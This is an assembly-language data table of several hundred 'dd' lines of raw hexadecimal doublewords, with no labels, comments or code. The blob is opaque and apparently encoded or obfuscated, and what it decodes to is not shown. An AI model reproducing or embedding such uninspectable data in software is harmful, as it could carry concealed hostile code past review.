dd 3F443215h, 8793F720h, 71A31F5h, 4BD5B79Ch, 6EAD3407h
dd 48223215h, 0E66360FCh, 8FF8E3C2h, 66443218h, 48D9778Ch
dd 0E1BACFE4h, 3F6E2A86h, 17C1F437h, 1124203Dh, 6604B71Ah
dd 76613215h, 0EE443215h, 0DAD8E03Eh, 4976C909h, 0C111C824h
dd 8F5C1E60h, 66223204h, 0C23B48A4h, 2848CB0h, 96FEF4A9h
dd 61CACCEh, 0CEB25AE2h, 9974C182h, 74590BA0h, 6FA73D13h
dd 6113215h, 2A164CAAh, 71B607Ch, 5D7FB798h, 69F83407h
dd 4D883215h, 945817E1h, 8BF0963Ch, 0D8341CF2h, 0B6770499h
dd 6648B01Ah, 0E32D3215h, 66113213h, 6688B81Ah, 6243215h
dd 39715375h, 6614DB74h, 30BC3215h, 7D118C0h, 7D27B79Ch
dd 74F83407h, 76883215h, 7DEF83BAh, 8EE7A028h, 9F41E45Dh
dd 0D267AC4Fh, 17C1F483h, 3424203Dh, 661137FCh, 0B168C715h
dd 712C0024h, 6A8EF24h, 959054ECh, 99E95052h, 744783A0h
dd 0E3AFC713h, 60030948h, 6696B21Ah, 8F243215h, 66223207h
dd 21BE4F7h, 0C472D2B7h, 619596B3h, 4A34806Eh, 0E777F726h
dd 75A60C6h, 6924E2EAh, 6622319Fh, 9D9A5415h, 668838FDh
dd 97FC0415h, 927F5CD2h, 8F8B32h, 0F94BE194h, 0E3CD534Bh
dd 60301138h, 661EB31Ah, 6C613215h, 37443215h, 9D8D48B1h
dd 0D4794A1Dh, 170DF400h, 3042203Dh, 662234FCh, 2FD1515h
dd 0E5B0089h, 0B25B5F2Ch, 8F97CDE9h, 8F172025h, 66883213h
dd 0E38A000Ch, 0E3AFC9E6h, 60044D20h, 69705275h, 6644329Dh
dd 99435315h, 6E9C3DC5h, 69883215h, 66443097h, 0EF435215h
dd 743EDF90h, 0E34ECE13h, 60561A64h, 662CDB52h, 41663215h
dd 3DD0AF97h, 749BE464h, 0EF848365h, 0BA01487Dh, 67013D94h
dd 9E443215h, 659387EAh, 77F83407h, 8883215h, 765A6181h
dd 4F018003h, 3EDEF49Eh, 0EF1C7EE8h, 3BC1BFECh, 8F24202Eh
dd 66113206h, 8048B850h, 7A882124h, 5083E43Eh, 79EBB559h
dd 99D21BB5h, 67C53DC5h, 93223215h, 609F3D75h, 69883215h
dd 66443298h, 0B07E8D15h, 0EF70636Fh, 74A19790h, 6650DB13h
dd 7DFB3215h, 8C55546Eh, 4ADA3961h, 76E8DE3Ah, 737D1F81h
dd 0E3D7EB2Ah, 609A1A64h, 6EC83D52h, 6223215h, 1D9DD494h
dd 8FE92209h, 66443219h, 0FFD8033Ah, 7E3D47B2h, 0D1066E4Ch
dd 69F1D07Dh, 67A73D9Fh, 9A113215h, 66883AFCh, 95C00E15h
dd 7757B8DDh, 0D7A4CD26h
dd 698E2016h, 66443E9Ch, 60A73D15h, 69113215h, 66883298h
dd 3BC1BF15h, 9324202Eh, 69F8E2EAh, 0EA883215h, 2430D127h
dd 0D90E70A0h, 78B9C1F1h, 0E301AE4Ah, 605D46F9h, 662234FCh
dd 0DF7B6215h, 0A12F4E6Eh, 7451E790h, 66224A13h, 96A05215h
dd 7D7CE46h, 7B218F96h, 69223407h, 660B6B91h, 0E0875215h
dd 66443216h, 36D88D1Ah, 47B78B73h, 0E34E534Bh, 60561A64h
dd 0E42D5259h, 66113210h, 160438AFh, 0EDED891Ah, 0E430530h
dd 0BFCB2EFCh, 0D73DCDECh, 9E422016h, 5D7FB798h, 69713407h
dd 0D8EEC1A2h, 9925E3FDh, 6CCBCEC5h, 42113215h, 0FD9CAA5Ah
dd 6275C30Fh, 0BEA7BB31h, 69172B61h, 66882796h, 6654DB15h
dd 0BDB33215h, 155BD55Ch, 2842A075h, 40C560CBh, 0E3E424BEh
dd 60031A64h, 0A8E0CA59h, 9E9946CBh, 659387EAh, 0EBED3407h
dd 74B36F90h, 99B1CB13h, 0DE52C5h, 59C0ED94h, 6680DB74h
dd 0E31D3215h, 7C851A11h, 0E3983970h, 609146C9h, 664435FCh
dd 1938115h, 0CBEEB120h, 66883BFCh, 4452A15h, 2CDAAA66h
dd 0E3D76AFBh, 609A1A64h, 75AD5259h, 0EA223215h, 0BFF98E13h
dd 9E633B2Bh, 1731D8B2h, 3B5BEEBDh, 7E41930h, 0E70A0D7Dh
dd 0D3BBCAA2h, 603031A4h, 66113EFCh, 59E715h, 91853FD7h
dd 0A17E92D9h, 0AC9052C6h, 58CDAD55h, 6649DA75h, 0F1573215h
dd 2E134452h, 60002205h, 3F7CE4B5h, 66223FFCh, 8D707E15h
dd 665B65C5h, 1C1D7C4Ah, 7431617h, 5D4CB798h, 75613407h
dd 0E443215h, 23BBFA6Dh, 9BE01CEEh, 7E1BB5BEh, 52666BF3h
dd 0B6DD453Dh, 661ABB1Ah, 69E83215h, 66443299h, 0A5A95415h
dd 8694BB74h, 938E2B61h, 4E35B7D3h, 696E3407h, 66113397h
dd 7EE0CB15h, 9AF71D55h, 659387EAh, 0EBE43407h, 74B36F90h
dd 6650DB13h, 7C2B3215h, 0B1661B22h, 7827E56Bh, 0A3C8B181h
dd 5D1E5A37h, 0B6EECA9Ch, 0BF035475h, 664434FDh, 0D4540515h
dd 8C0856h, 3F158DAAh, 86C1BB74h, 6242B61h, 5F3ED394h
dd 0E5872780h, 66443213h, 0FF7CD594h, 9F700CBCh, 4EF9B7D3h
dd 8F023407h, 6622321Dh, 0CA43B9F0h, 80AEC6Bh, 0B842267Dh
dd 0EE2D52AFh, 66113216h, 7BB973h, 17EBDC94h, 0D797CD74h
dd 8F172016h, 6688321Eh, 3E57AF8Ah, 8C399014h, 0EB208234h
dd 74B36F90h, 60AC5213h, 0AE223215h, 11FC107Dh, 38D7652Eh
dd 66443AFCh, 95630215h, 27AB4362h, 0B67753C0h, 664426FCh
dd 0F701E815h, 10466FF6h, 92D08287h, 5C8CB165h, 0C50841A1h
dd 8E94BB42h, 698E2B61h, 66443396h, 0E3E4C715h, 60031A64h
dd 610F3D52h, 69443215h, 6622339Dh, 1C79CE15h, 9309EE05h
dd 65F587EAh, 0E92D3407h, 66113214h, 0D98752EDh, 79AB9CEh
dd 5D7FB798h, 0DC713407h, 3BF34B68h, 0D476EB94h, 99433723h
dd 67973DC5h, 9F883215h, 12B4B79Ch, 0A0DB340Ch, 74394390h
dd 69E87513h, 66443798h, 0A4A35415h, 0DC77DF92h, 9FE9CCC9h
dd 0E1CA9E7Dh, 70A13DFAh, 8F113215h, 66883204h, 0E6FDD3BDh
dd 3C47F101h, 60BB8DA7h, 3B4981A7h, 0D7F1CDA8h, 8F242016h
dd 66113205h, 0C3FE5222h, 582BAD6Dh, 0B4595552h, 5951A9BFh
dd 668835FCh, 0BC6C1315h, 4629C0C3h, 5D4CB798h, 99713407h
dd 67C53DC5h, 9A223215h, 12E5B79Ch, 35E8340Ch, 3FBCB973h
dd 662223FCh, 659BF415h, 0D6738520h, 257B0D9Eh, 52B9424h
dd 0A0708C32h, 74A04390h, 69AD7513h, 0BA223215h, 0CF922D86h
dd 0BFB14971h, 1F644368h, 0B44A0FCCh, 6C5A8B2h, 74601DA4h
dd 95443215h, 0BB745E16h, 397B74A8h, 0CD4E6D9Dh, 0DD996EE3h
dd 3E7A642Ch, 0D3EECB74h, 609A31A4h, 664421FCh, 0A9D1AB15h
dd 6ED27B3Ah, 0D0DC9E25h, 0D629CE9Dh, 412DB3D8h, 5D4CB798h
dd 99703407h, 664BDBC5h, 20E23215h, 0F63160A2h, 28EB883Eh
dd 2FA11B80h, 9EA7BB0Ch, 8F172B61h, 6688321Dh, 44FA513Fh
dd 673B1CE6h, 4E60B7D3h, 8FCF3407h, 66443206h, 8F63B498h
dd 4303E0C6h, 5CB039FFh, 11F48511h, 8F6562B1h, 66113201h
dd 53C15B4Ch, 408D7B20h, 0C638FAF6h, 6420F58Fh, 0F5C3BE7Ch
dd 0A77D367Dh, 6633DBAFh, 8D0D3215h, 0FD7E6218h, 5AC7B6D9h
dd 0A82AF311h, 8FBAD736h, 6688321Ch, 0B8BFA7E5h, 1B083F60h
dd 0D7A4CDD1h, 698E2016h, 66442691h, 662DDB15h, 85C33215h
dd 3640DBC1h, 0A431776Eh, 1ED186AFh, 3B94BF38h, 68E202Eh
dd 234AF594h, 9EA96DC5h, 9EC1CD74h, 1274B79Ch, 0E624340Ch
dd 63CABDF3h, 0FA113215h, 25B897ABh, 71D70A3h, 40E38F96h
dd 69113407h, 6688A990h, 68AD5215h, 0CB223215h, 64DEA211h
dd 74108FF2h, 8B7B7B36h, 0D0D4B3A7h, 775CC9Dh, 4EF9B7D3h
dd 9F033407h, 140F557Dh, 7F943DF5h, 8F883215h, 66443201h
dd 9F47320Ch, 8D085A70h, 3A820CFDh, 0BE465484h, 0EA4481BCh
dd 65A087EAh, 67D3407h, 8F83B373h, 7D9B9B2h, 5D4CB798h
dd 99713407h, 6CC43DC5h, 6223215h, 0AEF6FB94h, 0AC024D32h
dd 7EC33D74h, 8F223215h, 66113206h, 0AAB660E8h, 0DCF82A4Ch
dd 59A6BAFBh, 9B28252Bh, 0EF855036h, 7F313290h, 67A53D13h
dd 9A113215h, 4EF9B7D3h, 69033407h, 66223998h, 6617DB15h
dd 55563215h, 8CFC9BCAh, 4F91837Dh, 0E61E529Bh, 66883211h
dd 4CE78C73h, 66223DFCh, 2978415h, 0A024E84Bh, 3B7D05BFh
dd 61368670h, 0B3915274h, 0EF876395h, 66443215h, 0D3DD534Dh
dd 600331A4h, 66883DFCh, 6D9CF615h, 5648F3C3h, 52C8FC4Bh
dd 45B7ED0Ch, 5D19B798h, 68CB3407h, 99113215h, 6220FB96h
dd 71373D38h, 6B59EA01h, 93C1CD75h, 138CB79Ch, 0A0B1340Ch
dd 740A4390h, 0E81E7113h, 6688321Dh, 6646BE1Ah, 7423215h
dd 9AFBB875h, 2C2F5A74h, 6924F263h, 0BCA2E1A2h, 0D3EE5373h
dd 609A31A4h, 6642B11Ah, 35423215h, 770524Bh, 5DD5B798h
dd 9F243407h, 9943EC9Eh, 0EE1EC7C5h, 66883214h, 6EC1BBEDh
dd 6242B60h, 661120FCh, 80CF3515h, 0A74D964Bh, 22661A4Eh
dd 6F326035h, 69C11FD3h, 9F25E9A2h, 4E53B7D3h, 8F5D3407h
dd 6688321Eh, 0D350001Ah, 920B571h, 0E33FAEEh, 9DEE5EFEh
dd 0E84B5275h, 66223215h, 20A607AEh, 76615375h, 0C8443215h
dd 11D3FA55h, 9061733Ah, 0DBA993EEh, 7DEA577h, 7B1B87EAh
dd 9AE43407h, 5DD5B798h, 0E44B3407h, 66223219h, 661135FCh
dd 8EA6F215h, 61271BFEh, 0E82DE2EAh, 6611320Eh, 669CDB75h
dd 17A3215h, 1E22E42Dh, 21F7DCA5h, 0BF68250Ah, 979EE793h
dd 0EF43ECE4h, 7F64AE90h, 0D3A5213h, 0A02526A6h, 740A4390h
dd 0ED717613h, 0D8EE52C2h, 7251C1Ch, 15AC677Dh, 73953DAEh
dd 8F883215h, 66443205h, 0A57960DDh, 61B58EF7h, 34A33A01h
dd 0B1584A19h, 662DB51Ah, 37713215h, 668EDB4Ch, 7EEB3215h
dd 88BD4357h, 0D7A4CD74h, 68E2016h, 0F430FCAFh, 0A4A3541Dh
dd 6705AB8h, 9E76B973h, 3BC1BF74h, 8F24202Eh, 66113204h
dd 0EB67DF7Fh, 17CB5628h, 384E19B7h, 4EDA87h, 9F58CDA5h
dd 1348B79Ch, 42340Ch, 69C62ABh, 297FB373h, 3DFE54D5h
dd 0A043530Ah, 74394390h, 77617113h, 0B1443215h, 9BBBE238h
dd 0C41BEED6h, 41DD2E03h, 80D76725h, 0E84CCE7Dh, 661ADBA9h
dd 0FCD03215h, 9308DEDAh, 127A0281h, 0D7A4CD34h, 698E2016h
dd 66443391h, 61CBC715h, 0D1113215h, 0C21D794Bh, 0E3C966EBh
dd 60300948h, 0E01E5375h
dd 66883205h, 664EBD1Ah, 63CB3215h, 56113215h, 0A0250101h
dd 63ADE2EAh, 57223215h, 308F3150h, 760DBBEDh, 8F422B60h
dd 66223207h, 16601F6Bh, 5869D553h, 601D30D4h, 49CCD932h
dd 0E3D7352Bh, 609A1A64h, 67C43D46h, 9F223215h, 762F987Dh
dd 0AE0852D3h, 664FDB33h, 0B8C83215h, 512C2CC3h, 50B84037h
dd 0D3BB5358h, 603031A4h, 661FDBEDh, 54593215h, 10D427E3h
dd 98A52200h, 0EAB430C0h, 5DD5B798h, 0E64B3407h, 6622321Dh
dd 6DDAB375h, 7EB2E88h, 664422FCh, 0EF6BC715h, 3FD820DBh
dd 0EFD13DE6h, 7CE13AABh, 6F2CD4Eh, 3CAE5444h, 0E7EE6815h
dd 78B48C2h, 1336B79Ch, 0E21E340Ch, 66883200h, 664422FCh
dd 86BE6015h, 7EADA421h, 8D1555DCh, 0B1B07F99h, 0F79FB1C0h
dd 66172000h, 6538B61Ah, 0A0B83215h, 740A4390h, 69717413h
dd 66882A96h, 6657DB15h, 2B573215h, 52648D56h, 9C3242C0h
dd 0E559D4C1h, 0AA91FDB2h, 0B8A85429h, 57E0531Ch, 6BEA4DBh
dd 2B9BEC9Eh, 7388E2Fh, 0D73DCDEDh, 93422016h, 5D7FB798h
dd 713407h, 0C4BCC594h, 664437FCh, 1E5F0415h, 99705A12h
dd 0E301CBC5h, 605D4765h, 17A7F4EDh, 2017203Dh, 5C5E5AE9h
dd 69ADCEB2h, 17223215h, 0F3C45182h, 2605AA1Bh, 0C4F3A4A4h
dd 0D3DD2494h, 600331A4h, 668FB01Ah, 0E24B3215h, 66223214h
dd 3B94BFE9h, 698E202Eh, 66443690h, 3C745215h, 6619DB74h
dd 1D893215h, 0CF419DF1h, 0B6DDAC53h, 661134FCh, 0DE51C815h
dd 623C0AFh, 0C095FAABh, 74B8221h, 1308B79Ch, 24340Ch
dd 7C9AF39Eh, 777F2CAh, 45375475h, 66C63D52h, 7223215h
dd 4E60B7D3h, 8FCE3407h, 6644321Ah, 0FE8CF152h, 3C656938h
dd 6207835Eh, 0EDF577Fh, 0F4DE9615h, 0D7A4CDE0h, 68E2016h
dd 87C55447h, 77DBD3Eh, 5D4CB798h, 0D8E83407h, 48519C60h
dd 69435275h, 66113291h, 99E95315h, 0DF2252C5h, 7DBB0BAh
dd 1395B79Ch, 6361340Ch, 6F443215h, 896F5BF0h, 4E60B7D3h
dd 69CE3407h, 66442C9Bh, 7EA63D15h, 8F113215h, 66883206h
dd 0EA5691E2h, 0EFA9585Fh, 41E7F6BDh, 0D560744Eh, 0E81CCE2h
dd 90F67D7Fh, 9FE4B875h, 6C0E3D74h, 6443215h, 0E02D5375h
dd 66113215h, 0D73DCD74h, 8F422016h, 6622321Ah, 0BAB94360h
dd 4DAD6F6Ch, 0AF49E8ACh, 6604A57h, 5EADAAAFh, 7AB815Eh
dd 5D19B798h, 0DC423407h, 7489A2B1h, 668DB01Ah, 9DFD3215h
dd 740017Fh, 6FF8E2EAh, 8F883215h, 0BB26616Dh, 3071BE44h
dd 661BBE1Ah, 69E83215h, 6644329Bh, 7435215h, 1399B79Ch
dd 7561340Ch, 0C443215h, 31593812h, 1E89C141h, 6FDBA70Dh
dd 7C4D4D83h, 0E3E41B22h, 60031A64h, 6698DB53h, 0E6733215h
dd 7F7CE737h, 0C8DA90C4h, 102FB6A5h, 362478B7h, 3B2FFDAAh
dd 0A19A6B02h, 366F5A74h, 99BCA6D8h, 742183A0h, 709C3D13h
dd 6883215h, 66443DFCh, 10D07115h, 856AB412h, 0DB85349Ah
dd 0A8EB75A3h, 3BA7BF74h, 6917202Eh, 66883392h, 0B6BBCB15h
dd 662FB61Ah, 69713215h, 66883299h, 0D3718915h, 0EF432AF1h
dd 7F644690h, 69E85213h, 0B6CECAAAh, 662CDB74h, 0F27D3215h
dd 0C1CFCC7Ch, 166B3216h, 0E36BAB61h, 1794F474h, 208E203Dh
dd 99A68A75h, 0EE2D405Ah, 6611321Bh, 66883BFCh, 2FB78115h
dd 22E28A7Ah, 0E70D109h, 0D7AA462Eh, 664BB11Ah, 6CCB3215h
dd 113215h, 7F21FC7Bh, 0ACCA6BAFh, 0D797CD67h, 69172016h
dd 66882191h, 664ADB15h, 0E7233215h, 1D4A18EEh, 14BB91B3h
dd 212CA1C2h, 97953D75h, 661121FDh, 7FB88915h, 1AC8FEB6h
dd 41BB48D3h, 0D5E45751h, 0FD4D6567h, 0C692B373h, 0EB436ADBh
dd 742A6F90h, 0B677CA13h, 66443BFCh, 5D24D715h, 9866384Eh
dd 0E301E850h, 605D476Dh, 662226FCh, 668F5715h, 5DC20D65h
dd 7A4FDC9Ah, 0E9FC072Dh, 47AA97DEh, 170DF482h, 2042203Dh
dd 6623BF1Ah, 69E83215h, 66883A93h, 0A7C55215h, 34315ADAh
dd 8CFC5A74h, 9974ED6Ch, 744783A0h, 662EDB13h, 6C023215h
dd 6BBEC20Ah, 4E617AF8h, 0E3AFC2EBh, 60030948h, 8F58CDE0h
dd 6644321Eh, 932BF246h, 4B40BEBAh, 0EF8C308Fh, 7F314E90h
dd 662ADB13h, 72053215h, 3BABF4B2h, 0DBC77C02h, 603014D4h
dd 0F9943D15h, 6883215h, 664434FCh, 4F58C415h, 6AF8EE9h
dd 6688B11Ah, 0E7223215h, 79AAAE7h, 1794F474h, 358E203Dh
dd 861A5AEDh, 0E742FCABh, 0FFF622F7h, 0EC368D4Dh, 6254C7Ch
dd 662223FCh, 0D7D79715h, 2DCF6029h, 88A31F99h, 72837666h
dd 0DC773067h, 99E9EDA6h, 744783A0h, 0E3AFCA13h, 60030948h
dd 85A08C75h, 0A4CF7152h, 6F2CD74h, 0D7C1B275h, 74615374h
dd 17443215h, 31EDB9B5h, 2E16AAADh, 373DF96Ah, 0E593D001h
dd 7EA7BB34h, 69172B60h, 66883F9Bh, 664CDB15h, 0BDB93215h
dd 0B772418Eh, 0E34E6D51h, 60561A64h, 0E14AC752h, 8FD6834Bh
dd 66883212h, 283DADE7h, 69343BC6h, 66112093h, 6685DB15h
dd 399C3215h, 8CB83783h, 0A650AD9Fh, 991D7D22h, 744783A0h
dd 74CBCE13h, 0E1113215h, 4D53F9D0h, 0D20D8432h, 7747DA4Dh
dd 7E967816h, 3B0DBFBFh, 6942202Eh, 66223992h, 0D91E5215h
dd 66013DCAh, 7443215h, 8E42E2EAh, 66113219h, 6B1FB97Dh
dd 0AD463951h, 61D9CEDBh, 38E1851Ah, 668EB21Ah, 0E04B3215h
dd 66223215h, 7A94BB74h, 9E8E2B60h, 40858F96h, 69223407h
dd 66115690h, 0B7035215h, 66443AFCh, 1CBDAF15h, 5D35F31Dh
dd 0E34E53C4h, 60561A64h, 634AC752h, 9AF7506Bh, 653987EAh
dd 75AD3407h, 85223215h, 520778E5h, 440D7529h, 6BB725BDh
dd 4627A6DDh, 0E39CEA98h, 609A0948h, 6994CDEDh, 66223395h
dd 0E398C715h, 60914735h, 66443EFCh, 0D39EBB15h, 7B10DF89h
dd 0A4B18091h, 17C1F443h, 2524203Dh, 661CB01Ah, 0D9E83215h
dd 4606AC7h, 1CA5D294h, 6701E3Ah, 668837FCh, 29428315h
dd 0ED445FFFh, 907953DBh, 691A481Ch, 66442395h, 94A95215h
dd 66113AFCh, 0D27B8215h, 160962DFh, 0D3DD5357h, 600331A4h
dd 668FBF1Ah, 0EE4B3215h, 66223214h, 3B94BFECh, 9E8E202Eh
dd 0EFB8E2EAh, 7F571690h, 6B9E3D13h, 8F883215h, 6644321Dh
dd 71E71914h, 564DE53h, 4EF9B7D3h, 6073407h, 8F70FD9Eh
dd 66113207h, 0F9425F6Bh, 8257DB94h, 8B6CD9D2h, 0CAE405Eh
dd 7D313BBh, 47D3127Dh, 662FDBE9h, 5C133215h, 2A3FC293h
dd 68E37EC3h, 998FC40Fh, 741283A0h, 670F3D13h, 93443215h
dd 5D7FB798h, 6713407h, 39316843h, 73BA26Dh, 662222FCh
dd 0DD5CCF15h, 2B99B55Ch, 25431BB2h, 0CC8330ACh, 6CF8531Dh
dd 5D883215h, 0F5D353D5h, 0F6675E3Dh, 6C1CD53h, 96095446h
dd 0E61FE478h, 0EF4382F7h, 7F641A90h, 69E85213h, 6644329Fh
dd 0BD9D3D15h, 0E11E5374h, 66883219h, 6642B21Ah, 0E32D3215h
dd 66113215h, 40498F96h, 69443407h, 66235C90h, 6614DB15h
dd 0B84C3215h, 0A051BDDDh, 740A4390h, 717113h, 7EB5ABh
dd 75EC6AFh, 668A317Dh, 0E01ECB9Eh, 66883212h, 6645BC1Ah
dd 99DA3215h, 741283A0h, 84095213h, 63C8725Dh, 747F38ABh
dd 0E51E5340h, 66883200h, 664BB11Ah, 6CCB3215h, 0F9113215h
dd 726A9967h, 167B84F0h, 3BA7BFF1h, 617202Eh, 668EB01Ah
dd 0E64B3215h, 66223215h, 0B6EE53E0h, 66883FFCh, 8E07715h
dd 0B34D0E89h, 0F15F47ECh
dd 8FE89443h, 66443205h, 0E8884593h, 0D7FEF340h, 0EFDEB2FEh
dd 707C1598h, 662226FDh, 0EF5A4015h, 0CD7DDF7Dh, 0A4F7F7EAh
dd 5043638Dh, 997A2E19h, 3CE95290h, 56C1BB74h, 93242B60h
dd 4E60B7D3h, 8FCB3407h, 66443204h, 0CA7ACA33h, 0BCE32D29h
dd 99BF429Dh, 15314EE4h, 76AD3D00h, 8F113215h, 6688321Eh
dd 9259AA9h, 4C86B3F5h, 0E3A803Bh, 83D304C0h, 665EB81Ah
dd 0EB2D3215h, 66113201h, 66883DFCh, 9DD88915h, 0C57E6EF2h
dd 617D10F4h, 6C0076F9h, 65F587EAh, 423407h, 9A32ADh, 8C52EA94h
dd 0DF225274h, 0D944E7Ah, 3B94BF74h, 698E202Eh, 66443595h
dd 67A33D15h, 93113215h, 0EDE8E2EAh, 64C93DEFh, 0ED223215h
dd 0E39853D7h, 60914739h, 0F99EB375h, 36265B82h, 661135FDh
dd 15310015h, 3FA6FC8Ch, 0A043694Ah, 74394390h, 0E6E87113h
dd 96C50BD6h, 70BC59CBh, 54F05A74h, 8F7DD8BFh, 66443204h
dd 0E18C0A1Ah, 1A840169h, 75EBE7ACh, 8C32CD93h, 0D797CD6Bh
dd 8F172016h, 66883218h, 23A461E3h, 4A244E59h, 0F7904516h
dd 3B0DBF44h, 9342202Eh, 69D7E2EAh, 6611379Dh, 0EDEE5215h
dd 0E3CD53D4h, 603B4721h, 1794F4ECh, 258E203Dh, 665DB71Ah
dd 72CB3215h, 3F113215h, 1ED5380Ch, 0B1327072h, 6D65A0E2h
dd 0CCA76432h, 0EC9B3D2h, 0E2B59E22h, 6628DB75h, 0F3103215h
dd 4F151F87h, 1B1308A8h, 9943E69Fh, 741283A0h, 0E7EE5213h
dd 8F7B26D6h, 6622321Eh, 0BD7925C2h, 143CE903h, 7DAE7F7h
dd 5D7FB798h, 0ED1E3407h, 6688320Ch, 664426FCh, 0F1D0B815h
dd 0E3B737FFh, 12E65E4Eh, 84734F7Ah, 5E8FB73Dh, 9FC1CD69h
dd 13B0B79Ch, 24340Ch, 6F550ADh, 6611B01Ah, 0EF873215h
dd 66443215h, 0E3E45374h, 60031A64h, 668FDB5Ah, 14D3215h
dd 0A411C148h, 6A993D0Dh, 69883215h, 66443496h, 66A33D15h
dd 0E113215h, 0F1BDA2C1h, 66443CFCh, 14895015h, 66F26CCAh
dd 8AA2C0DAh, 9929550Ch, 742183A0h, 0E39CCB13h, 609A0948h
dd 6645BB1Ah, 99DE3215h, 661EDBC5h, 0CFE93215h, 0CD66348Fh
dd 3D8F54A7h, 3006A7E1h, 5A0DBB33h, 9F422B60h, 4E53B7D3h
dd 65E3407h, 668826FDh, 0DC34115h, 3B6AC76Dh, 13A1972Bh
dd 6445515Ah, 4A0265F8h, 0FDE3B256h, 6616DA4Eh, 0E3F73215h
dd 76F6173Fh, 66AC3D6Fh, 39113215h, 6C073D74h, 6443215h
dd 0DECA8873h, 774F8C73h, 688A5A74h, 6AADCB7Bh, 6B223215h
dd 0C5BF4EA1h, 92A9342Eh, 9925857Eh, 742183A0h, 69923D13h
dd 6883215h, 664435FCh, 0DEAE815h, 5585BC2Eh, 6E853E9h
dd 7B85375h, 6620BD1Ah, 0D2A23215h, 3B0DBF74h, 9F42202Eh
dd 0EFD7E2EAh, 7F647290h, 0E34ECA13h, 60561A64h, 0ED445258h
dd 65943DDEh, 883215h, 0E25C09Eh, 0AE154B5Ch, 0D7A4CDEDh
dd 698E2016h, 6644339Ah, 3642CE15h, 39CBB973h, 0EBE9C19Fh
dd 747F6F90h, 0B6DDCE13h, 6610B21Ah, 0EF743215h, 7F317A90h
dd 67A03D13h, 93113215h, 4EF9B7D3h, 69093407h, 66223A9Ch
dd 0E7775215h, 939C99CCh, 2BCD5A74h, 69CBEEE2h, 0F9113215h
dd 6C7BEC44h, 89B318EAh, 0ED358202h, 0D3EE56B1h, 609A31A4h
dd 3BC1BFE9h, 624202Eh, 38FDD594h, 53019E3h, 75431A1h
dd 63CBE2EAh, 0FB113215h, 7631E34Bh, 1300B79Ch, 77CB340Ch
dd 0F6113215h, 7060A142h, 8370AEFh, 6122D924h, 0F55273B5h
dd 4EF9B7D3h, 6113407h, 8849ABAEh, 6617DA18h, 0F4353215h
dd 98D31450h, 0E436AE0h, 0FA0A1F22h, 669FB81Ah, 74AD3215h
dd 99223215h, 0BE0A5A42h, 3B973FBDh, 0BA8FBA2Eh, 223F73A7h
dd 64983D8Eh, 6883215h, 0D7F1CD74h, 9A242016h, 661126FCh
dd 5C4DE615h, 0E29FF41Ah, 38498F75h, 5ED97342h, 6D23B344h
dd 3BC1BF8Eh, 6924202Eh, 6611349Fh, 0A9385215h, 99255375h
dd 6633DBC5h, 0DD33215h, 1CC9EBE0h, 48F7634Fh, 0E6FDE6CCh
dd 0EFFC0E2Fh, 7FFD7E90h, 0E382CB13h, 60301A64h, 94AB5256h
dd 0ADC067h, 93BBDC94h, 96085A74h, 99EDE0C0h, 748B83A0h
dd 664ADB13h, 85F73215h, 12876E54h, 0C217B542h, 0CDC104EDh
dd 5D7FB798h, 36713407h, 8FD16A46h, 6644321Dh, 0D9756E45h
dd 306BA72Ch, 668FDB74h, 717F3215h, 3A379879h, 9EC1CD3Fh
dd 13D8B79Ch, 0DD24340Ch, 303AD085h, 69701CA3h, 6688359Dh
dd 67C93D15h, 9A223215h, 4E60B7D3h, 6DA3407h, 0D74C7ABh
dd 662DDA1Eh, 0D13215h, 637D8DD6h, 8CB263B2h, 1BC570EBh
dd 0E7068EAh, 9BCA86FFh, 66443DFCh, 4A14F315h, 0B54C35C6h
dd 0E699A253h, 0DB134869h, 659387EAh, 0E91E3407h, 66883214h
dd 3BC1BFE0h, 9E24202Eh, 0E91EE2EAh, 66883210h, 3F12CA75h
dd 3BA7BB74h, 9E172038h, 4EF9B7D3h, 8F033407h, 66223201h
dd 5BE1DEA6h, 0B6742F3Ch, 3847B78Bh, 0FF5D94AAh, 0A57FE767h
dd 0FED1AB7Dh, 77C93DF7h, 8F223215h, 66113219h, 0D361B91Fh
dd 845333B2h, 8255425Dh, 8EDBB975h, 6688321Fh, 731A8B72h
dd 0E8D73C3Dh, 0DE77547Bh, 7D1120Eh, 65F587EAh, 61CB3407h
dd 82113215h, 51A1C501h, 24B1FBh, 9EA9FA9Eh, 3B94BF74h
dd 68E202Eh, 1D2A05ADh, 72C8323h, 661126FCh, 3882B15h
dd 7F2C57ECh, 6C1CDAFEh, 6477A349h, 3B9BCDh, 9A94CD99h
dd 1376B79Ch, 0E61E340Ch, 66883205h, 664439FCh, 86E76815h
dd 1E79BC92h, 9DCDABDDh, 4E35B7D3h, 69653407h, 66112190h
dd 6686DB15h, 94ED3215h, 0DBE32161h, 111800D7h, 15BACE22h
dd 9B24F07Dh, 63CB52A4h, 79113215h, 83BA14F3h, 0D3BBCA74h
dd 603031A4h, 661122FCh, 93870D15h, 997A65C0h, 6AC92FEBh
dd 0B4A07696h, 6685DB4Dh, 3DD3215h, 89C04EDDh, 0B79B8E1Dh
dd 0EB46D558h, 747F6F90h, 67AA3D13h, 9A113215h, 7261E2EAh
dd 3C443215h, 0BE743391h, 7F6E1488h, 56098695h, 0E505D23Ah
dd 0EF88467Eh, 7F646A90h, 0EDEE5213h, 6649DAE2h, 0EEAE3215h
dd 0AED3B1F7h, 0C7FEA676h, 0DC17BDC3h, 11553EB3h, 0E3D7534Dh
dd 609A1A64h, 68ADCE52h, 61223215h, 0C7138B56h, 8E993ABFh
dd 0F7F6EC1h, 98365A5Eh, 6971EDB3h, 0BC02C0A2h, 0D7F1CD74h
dd 9A242016h, 5D4CB798h, 0E2873407h, 66443218h, 66223AFCh
dd 73ED6215h, 4E05428Bh, 9394CD83h, 137EB79Ch, 0E771340Ch
dd 0DF9A93D5h, 64CE3D6Ah, 0D4223215h, 0E3D7532Bh, 609A1A64h
dd 0E2CCE4Ah, 6BC62E7h, 6613BA1Ah, 7E83215h, 0D7F1CD74h
dd 8F242016h, 66113212h, 0A7D86F1h, 697E3395h, 66222492h
dd 6600DB15h, 0C99A3215h, 461AB8B6h, 1F2CD6B9h, 62010E9Ah
dd 0EBC7CD40h, 747F6F90h, 662FDB13h, 6FDC3215h, 6255154Dh
dd 39CFA2D5h, 996EE1F6h, 73933DC5h, 8F883215h, 66443205h
dd 0A56C5B51h, 9199D572h, 15A46428h, 0E2D82437h, 6623BD1Ah
dd 0EFE83215h, 7FFD5290h, 0ED225213h, 0E3E453DEh, 60031A64h
dd 0E687C75Ah, 6644321Dh, 0F5B875h, 7DD3EAAh, 9AF30D7Dh
dd 8BC452D2h, 0D3DD53E4h, 600331A4h, 6691B61Ah, 72AD3215h
